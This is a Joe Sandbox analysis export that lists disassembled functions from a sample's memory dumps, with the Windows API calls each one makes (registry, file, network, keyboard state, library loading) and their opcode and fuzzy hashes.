CloseHandle.KERNEL32(?), ref: 00BAA63D

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Process$CloseCountersCurrentHandleOpen
String ID:
API String ID: 3488606520-0
Opcode ID: e585a4910959059a759080ac261446ca6a4b204e8d5e10290cb506038830f90b
Instruction ID: 4c71506c51ec0f727a7d163bb66914b5a73029568852d781ea2a80a65525d2e7
Opcode Fuzzy Hash: e585a4910959059a759080ac261446ca6a4b204e8d5e10290cb506038830f90b
Instruction Fuzzy Hash: 79A1AF716043009FD720DF28D896F2AB7E5AF88714F14889DF55A9B392DBB0EC45CB92

Function 00B8E3FB Relevance: 7.7, APIs: 5, Instructions: 167filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B8DDE0: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00B8CF22,?), ref: 00B8DDFD

Part of subcall function 00B8DDE0: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00B8CF22,?), ref: 00B8DE16

Part of subcall function 00B8E199: GetFileAttributesW.KERNEL32(?,00B8CF95), ref: 00B8E19A

lstrcmpiW.KERNEL32(?,?), ref: 00B8E473
MoveFileW.KERNEL32(?,?), ref: 00B8E4AC
_wcslen.LIBCMT ref: 00B8E5EB
_wcslen.LIBCMT ref: 00B8E603
SHFileOperationW.SHELL32(?,?,?,?,?,?), ref: 00B8E650

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: File$FullNamePath_wcslen$AttributesMoveOperationlstrcmpi
String ID:
API String ID: 3183298772-0
Opcode ID: 092190b5d5411ef6e3553d2329f7ea7c54d63d459c4822a063798421f3947f76
Instruction ID: 5a04a5c4ce884f6ebf0f2145bb1dbf2f9b6236e881eaf2d3c919a3c9e150ff6f
Opcode Fuzzy Hash: 092190b5d5411ef6e3553d2329f7ea7c54d63d459c4822a063798421f3947f76
Instruction Fuzzy Hash: D1515FB24083459BC724EBA4D8819DFB3ECEF84340F04496EF599931A1EF74E688C766

Function 00BAB9C9 Relevance: 7.7, APIs: 5, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00B29CB3: _wcslen.LIBCMT ref: 00B29CBD

Part of subcall function 00BAC998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00BAB6AE,?,?), ref: 00BAC9B5
Part of subcall function 00BAC998: _wcslen.LIBCMT ref: 00BAC9F1
Part of subcall function 00BAC998: _wcslen.LIBCMT ref: 00BACA68
Part of subcall function 00BAC998: _wcslen.LIBCMT ref: 00BACA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00BABAA5
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00BABB00
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 00BABB63
RegCloseKey.ADVAPI32(?,?), ref: 00BABBA6
RegCloseKey.ADVAPI32(00000000), ref: 00BABBB3

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpper
String ID:
API String ID: 826366716-0
Opcode ID: 0e5bb6208384836afd8a0c283139e8d44d6d4447950b8c381ac5a302c9388b16
Instruction ID: e7b81c1f3cd74199dc926338f081030ca39ca6bd71afa60a06972bd73f96bbc5
Opcode Fuzzy Hash: 0e5bb6208384836afd8a0c283139e8d44d6d4447950b8c381ac5a302c9388b16
Instruction Fuzzy Hash: C861813120C241AFD714DF14C491E2ABBE5FF85348F54899CF4A98B2A2DB31ED45CB92

Function 00B88BB0 Relevance: 7.7, APIs: 5, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00B88BCD
VariantClear.OLEAUT32 ref: 00B88C3E
VariantClear.OLEAUT32 ref: 00B88C9D
VariantClear.OLEAUT32(?), ref: 00B88D10
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 00B88D3B

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType
String ID:
API String ID: 4136290138-0
Opcode ID: 09ca86df163548d1c44c0fbb07816cd7c9fbcb3aeac2be0cada91d4f2fea0ee1
Instruction ID: be4bf66f97f61bd95538bc2e14837c68ab6c8cc9973bf078f460c632d9f592d4
Opcode Fuzzy Hash: 09ca86df163548d1c44c0fbb07816cd7c9fbcb3aeac2be0cada91d4f2fea0ee1
Instruction Fuzzy Hash: 24516CB5A00219EFCB14DF58C894AAAB7F5FF89310B158569F905DB354EB30E911CF90

Function 00B98AFB Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 00B98BAE
GetPrivateProfileSectionW.KERNEL32(?,00000003,00000003,?), ref: 00B98BDA
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 00B98C32
WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 00B98C57
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 00B98C5F

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String
String ID:
API String ID: 2832842796-0
Opcode ID: 196a82d273bc2c8bccbeaf1ae0fcb8fd7528138a640f8bb33389f98680ee80d5
Instruction ID: a718fb9009d0e7e1577dedd4673c933f27b698f52c8d03c9614aeafe7af6f3b0
Opcode Fuzzy Hash: 196a82d273bc2c8bccbeaf1ae0fcb8fd7528138a640f8bb33389f98680ee80d5
Instruction Fuzzy Hash: E0513A35A002199FCF05DF64D881A6DBBF5FF49314F0884A8E849AB362DB35ED51CB90

Function 00BA8EE4 Relevance: 7.6, APIs: 5, Instructions: 143libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?,00000000,?), ref: 00BA8F40
GetProcAddress.KERNEL32(00000000,?), ref: 00BA8FD0
GetProcAddress.KERNEL32(00000000,00000000), ref: 00BA8FEC
GetProcAddress.KERNEL32(00000000,?), ref: 00BA9032
FreeLibrary.KERNEL32(00000000), ref: 00BA9052

Part of subcall function 00B3F6C9: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,00000000,?,?,?,00B91043,?,753CE610), ref: 00B3F6E6
Part of subcall function 00B3F6C9: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00B7FA64,00000000,00000000,?,?,00B91043,?,753CE610,?,00B7FA64), ref: 00B3F70D

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad
String ID:
API String ID: 666041331-0
Opcode ID: 3356f631ceb777568390d62225feae8d8e457a3bea989f9071c54d2d15b5e8d0
Instruction ID: ebbfae5c9ffcbe7b0d0a4bbd1c668b0b9bbe46eac9c4c7c4d56b21b4d00891c4
Opcode Fuzzy Hash: 3356f631ceb777568390d62225feae8d8e457a3bea989f9071c54d2d15b5e8d0
Instruction Fuzzy Hash: 52512734604215DFC711DF58C4948ADBBF1FF4A314B0880E8E80AAB762DB31ED85CB90

Function 00BB6B76 Relevance: 7.6, APIs: 5, Instructions: 131windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(00000002,000000F0,?), ref: 00BB6C33
SetWindowLongW.USER32(?,000000EC,?), ref: 00BB6C4A
SendMessageW.USER32(00000002,00001036,00000000,?), ref: 00BB6C73
ShowWindow.USER32(00000002,00000000,00000002,00000002,?,?,?,?,?,?,?,00B9AB79,00000000,00000000), ref: 00BB6C98
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000027,00000002,?,00000001,00000002,00000002,?,?,?), ref: 00BB6CC7

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Window$Long$MessageSendShow
String ID:
API String ID: 3688381893-0
Opcode ID: a59ccd0eb14aefc2891c0164f16e729415b1491ebcef2c81db64cfc20855e5e2
Instruction ID: 3e7608b9a662ebb778899c8bd7e5300b51fea3c183096faecdac385109c43e24
Opcode Fuzzy Hash: a59ccd0eb14aefc2891c0164f16e729415b1491ebcef2c81db64cfc20855e5e2
Instruction Fuzzy Hash: 69419F35A04104AFDB24CF28CC99FF97FE5EB09350F1506A8E999A72A0C7F5AD41CA90

Function 00B52051 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00B520C3
_free.LIBCMT ref: 00B520E3

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: dd8366bf11fce6628f73ef01924ce02b51a9a73a40818245fedfc3fc59032acb
Instruction ID: b591c26f82aeb3cf4423f60f068e3534318b2d241be18d087485b6c156e61b84
Opcode Fuzzy Hash: dd8366bf11fce6628f73ef01924ce02b51a9a73a40818245fedfc3fc59032acb
Instruction Fuzzy Hash: C241C332A012109FCB24DF78C981B5EB7E5EF8A314F1545E8E915EB392DB31AD05CB80

Function 00B3912D Relevance: 7.6, APIs: 5, Instructions: 121keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00B39141
ScreenToClient.USER32(00000000,?), ref: 00B3915E
GetAsyncKeyState.USER32(00000001), ref: 00B39183
GetAsyncKeyState.USER32(00000002), ref: 00B3919D

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: b2af199439231c2f732ceaee2e348e8904b65385447cc3795bb8bf6b8c0ee2e9
Instruction ID: 40ba5cfb2ce51273d4a3ead2258bb80d639e05b933e19e5b057b02d4b2c044ba
Opcode Fuzzy Hash: b2af199439231c2f732ceaee2e348e8904b65385447cc3795bb8bf6b8c0ee2e9
Instruction Fuzzy Hash: D7414F31A0861ABBDF159F64C844BEEBBB4FB05320F2082A5E439B7290CB706D54CF91

Function 00B93874 Relevance: 7.6, APIs: 5, Instructions: 101windowCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 00B938CB
TranslateAcceleratorW.USER32(?,00000000,?), ref: 00B93922
TranslateMessage.USER32(?), ref: 00B9394B
DispatchMessageW.USER32(?), ref: 00B93955
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00B93966

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Message$Translate$AcceleratorDispatchInputPeekState
String ID:
API String ID: 2256411358-0
Opcode ID: 732bb717ae7be794ae1c9d2878bb5d1a018c65be42d3b1f810f2a9c2bb8e8c93
Instruction ID: 25d0aef82729af29bc5dde97db7ecf3e3e3b60a9f63bad2ec0ad1ab9d75a3fed
Opcode Fuzzy Hash: 732bb717ae7be794ae1c9d2878bb5d1a018c65be42d3b1f810f2a9c2bb8e8c93
Instruction Fuzzy Hash: 01319570504341DFEF35CB359889BB63BE8EB15704F0409B9E467871A0EBF49A85CB21

Function 00B9CF1A Relevance: 7.6, APIs: 5, Instructions: 93networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(?,?,00000000,00000000,00000000,?,00000000,?,?,?,00B9C21E,00000000), ref: 00B9CF38
InternetReadFile.WININET(?,00000000,?,?), ref: 00B9CF6F
GetLastError.KERNEL32(?,00000000,?,?,?,00B9C21E,00000000), ref: 00B9CFB4
SetEvent.KERNEL32(?,?,00000000,?,?,?,00B9C21E,00000000), ref: 00B9CFC8
SetEvent.KERNEL32(?,?,00000000,?,?,?,00B9C21E,00000000), ref: 00B9CFF2

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: EventInternet$AvailableDataErrorFileLastQueryRead
String ID:
API String ID: 3191363074-0
Opcode ID: 7dd47da1ba00956d247b12ccda7a36e5f601947f12848a7ee32d349869cc5cbd
Instruction ID: 11293f67f46c379088274ba386db8f17e82b24f9b4fe6f05a2cf13b7412460dd
Opcode Fuzzy Hash: 7dd47da1ba00956d247b12ccda7a36e5f601947f12848a7ee32d349869cc5cbd
Instruction Fuzzy Hash: 0D314C71900205AFDF20DFA5C884AABBFF9EB14350B2044BEF506D3151DB70AE489B60

Function 00B81901 Relevance: 7.6, APIs: 5, Instructions: 93sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00B81915
PostMessageW.USER32(00000001,00000201,00000001), ref: 00B819C1
Sleep.KERNEL32(00000000,?,?,?), ref: 00B819C9
PostMessageW.USER32(00000001,00000202,00000000), ref: 00B819DA
Sleep.KERNEL32(00000000,?,?,?,?), ref: 00B819E2

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: daaa74b084b5f3dc1b0dbd27cdfd36c9f5a81e05c2fbbbe748c85ecf4747b41c
Instruction ID: 4203646acdb8cd1914d502d28e849462639126a96b5ee50a96a63207eecfa057
Opcode Fuzzy Hash: daaa74b084b5f3dc1b0dbd27cdfd36c9f5a81e05c2fbbbe748c85ecf4747b41c
Instruction Fuzzy Hash: 6931E271900219EFCB00DFACCD98AEE3BB9EB04314F104765F961A72E0C7B09946CB90

Function 00BB5706 Relevance: 7.6, APIs: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001053,000000FF,?), ref: 00BB5745
SendMessageW.USER32(?,00001074,?,00000001), ref: 00BB579D
_wcslen.LIBCMT ref: 00BB57AF
_wcslen.LIBCMT ref: 00BB57BA
SendMessageW.USER32(?,00001002,00000000,?), ref: 00BB5816

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: MessageSend$_wcslen
String ID:
API String ID: 763830540-0
Opcode ID: 1ac061ae7dc0c083278afa73846c39e706907215e740ad8ec057518a0d3392dd
Instruction ID: b4e94b17c48bfb6a5793acc6896c85c22e90d586adfac5fae2a727a3f854e04f
Opcode Fuzzy Hash: 1ac061ae7dc0c083278afa73846c39e706907215e740ad8ec057518a0d3392dd
Instruction Fuzzy Hash: A5218071904618ABDB309F65CC84BFD7BF8EB04724F108696E929AB184DBB09A85CF51

Function 00BA0930 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00BA0951
GetForegroundWindow.USER32 ref: 00BA0968
GetDC.USER32(00000000), ref: 00BA09A4
GetPixel.GDI32(00000000,?,00000003), ref: 00BA09B0
ReleaseDC.USER32(00000000,00000003), ref: 00BA09E8

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: b852d0d9b13a86c6ace079ebebfdd5d16690bf2cb43ec346e5b70f7b638dda17
Instruction ID: fa75bd09db27b9cab25119b91803926b5770412a788ae0b3a3cb44306e1fab16
Opcode Fuzzy Hash: b852d0d9b13a86c6ace079ebebfdd5d16690bf2cb43ec346e5b70f7b638dda17
Instruction Fuzzy Hash: AC218135600214AFD704EF69D895EAEBBE9EF49700F0485ACF85AA7752CB70AC04CB50

Function 00B5CDBD Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00B5CDC6
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00B5CDE9

Part of subcall function 00B53820: RtlAllocateHeap.NTDLL(00000000,?,00BF1444,?,00B3FDF5,?,?,00B2A976,00000010,00BF1440,00B213FC,?,00B213C6,?,00B21129), ref: 00B53852

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00B5CE0F
_free.LIBCMT ref: 00B5CE22
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00B5CE31

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: 6a35e1dc51749959b525947a324a4f839ae31afd4b73efa13c8aaaf8608d9b21
Instruction ID: 2167d77ee143f18ba893bb26129535783b1c2558a3b1e80c3a77da62e42f6cca
Opcode Fuzzy Hash: 6a35e1dc51749959b525947a324a4f839ae31afd4b73efa13c8aaaf8608d9b21
Instruction Fuzzy Hash: 7101D8726013157F23215A7A6C8AE7B6EEEDEC6BA231502E9FD05D7200DE619D0581B0

Function 00B39639 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00B39693
SelectObject.GDI32(?,00000000), ref: 00B396A2
BeginPath.GDI32(?), ref: 00B396B9
SelectObject.GDI32(?,00000000), ref: 00B396E2

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: d0ce8a612815b6457df55718b7a7b140a8ad15e6dd90b8e26bf208a53d37083b
Instruction ID: 9436cb2667e2214c8b024cf05b7089cd3877ebaff01bebfaaa1a5db87c9f6f5c
Opcode Fuzzy Hash: d0ce8a612815b6457df55718b7a7b140a8ad15e6dd90b8e26bf208a53d37083b
Instruction Fuzzy Hash: 91213D70802205EBDB11DF6DDD557B93BA8FB50355F208A56F414A71A0DBF05892CFE4

Function 00B85711 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 00B85726
_memcmp.LIBVCRUNTIME ref: 00B85744
_memcmp.LIBVCRUNTIME ref: 00B85757
_memcmp.LIBVCRUNTIME ref: 00B8576F
_memcmp.LIBVCRUNTIME ref: 00B85787

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
